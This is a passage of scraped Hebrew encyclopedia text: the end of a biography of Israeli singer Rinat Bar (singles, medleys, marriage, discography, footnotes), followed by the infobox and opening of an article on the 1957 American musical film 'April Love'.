ב-7 בפברואר 2013, יצא הסינגל שני "שימני כחותם", הוא שיר תפילה משיר השירים. ב-5 במאי 2013, הושק סינגל חדש "אביר חלומותי". ב-23 במאי 2013, יצאה גרסה מיוחדת ל"אם ננעלו" של הזמרת-יוצרת הישראלית עפרה חזה, בו התארחה רינת על ידי ההרכב האירופאי RELIGHT ORCHESTRA, השיר יצא לאור ברחבי אירופה כבר בינואר. באוקטובר 2013, בר הוציאה את "מחרוזת תפוֹס תפוֹס", שזכתה להצלחה רבה כאשר צברה למעלה מ-1.9 מיליון צפיות ביוטיוב. חודש לאחר מכן רינת ממשיכה בקצב המחרוזות ומוציאה את "מחרוזת לגאורגיה באהבה 2". בינואר הוציאה בר "מחרוזת עיראקית" (שצברה למעלה ממיליון צפיות) ובפברואר את "מחרוזת אש" הכוללת את הלהיטים: "מלכת הלבבות", "בת שמונה עשרה", "שקרן", "נערת החלומות".
חיים אישיים

ב-2 באוגוסט 2009, התחתנה עם אורון אפריאט. אורון ורינת הורים לשלושה ילדים.
דיסקוגרפיה > אלבומי אולפן

1996: ילדה קטנה
1998: הנשיקה
1998: בחפלה גרוזינית
1999: כבר לא ילדה
2000: ליידי בר
2003: מלאכים
2006: לעוף ברוח
2012: חיכיתי לך
2016: מלכה
דיסקוגרפיה > אלבומי אוסף

1999: להיטי זהב
הערות שוליים

↑  יעקב בר-און, ‏כבר לא ילדה קטנה: הזמרת רינת בר שועטת אל אלבומה העשירי, באתר מעריב אונליין, 3 ביוני 2020
1 2 3 4 5 6  רינת בר | qube.co.il, באתר www.qube.co.il
↑  רינת בר חוגגת 30: סיכום מאז ועד היום, באתר web2.shidur.net
↑  שגיא בן נון‏, כמו צמח בר, באתר וואלה, 5 בדצמבר 2019
1 2  איתמר רונאל, ‏פתאום הילדים התחילו להחזיק ממני, באתר ‏מאקו‏, 19 במרץ 2020
↑  Hikiti Leha, נבדק ב-2021-07-01
↑  ליהי עטר בכר‏, איזה סרט, ערבי: הכוכבת שפרשה מ"הכוכב הבא", באתר וואלה, 11 בינואר 2018
↑  יעקב בר-און, ‏כבר לא ילדה קטנה: הזמרת רינת בר שועטת אל אלבומה העשירי, באתר מעריב אונליין, 3 ביוני 2020
↑  רינת בר מציגה את נעם רפאל, באתר ashdodnet.com
| --- | --- |
בקרת זהויות :  MusicBrainz: 824fd4f5-1105-429b-a4ec-f1795386120b 
בר בחתונתה עם אורון אפריאט ב-2 באוגוסט 2009.
אהבת אפריל

| --- | --- |
כרזת אהבת אפריל
כרזת אהבת אפריל
 בימוי:  הנרי לוין 
 הופק בידי:  דייווד וייסברט 
 תסריט:  ספר:ג'ורג' צ'מברלין תסריט:  וינסטון מילר
 עריכה:  ויליאם מרפי 
 שחקנים ראשיים:  פט בון שירלי ג'ונס  ארתור או'קונל דולורס מייקל
 מוזיקה:  אלפרד ניומן, סמי פיין
 צילום:  וילפרד קלין
 מדינה:  ארצות הברית 
 חברת הפקה:  פוקס המאה ה-20 
 חברה מפיצה:  פוקס המאה ה-20
 הקרנת בכורה:  27 בנובמבר 1957
 משך הקרנה:  97 דק' 
 שפת הסרט:  אנגלית 
 סוגה:  סרט מוזיקלי, קומדיה רומנטית 
 מקום התרחשות:  קנטקי 
 תקציב:  1,425,000‏$
 הכנסות:  3,000,000‏$
 דף הסרט ב־IMDb
 
אהבת אפריל (באנגלית: April Love) הוא סרט מוזיקלי רומנטי אמריקאי משנת 1957 עם פט בון ושירלי ג'ונס בתפקידים הראשיים. התסריט מבוסס על הרומן Phantom Filly של ג'ורג' אגניו צ'מברלין משנת 1941.
שיר הנושא "אהבת אפריל" הולחן על ידי סמי פיין והיה מועמד לפרס אוסקר לשיר המקורי הטוב ביותר.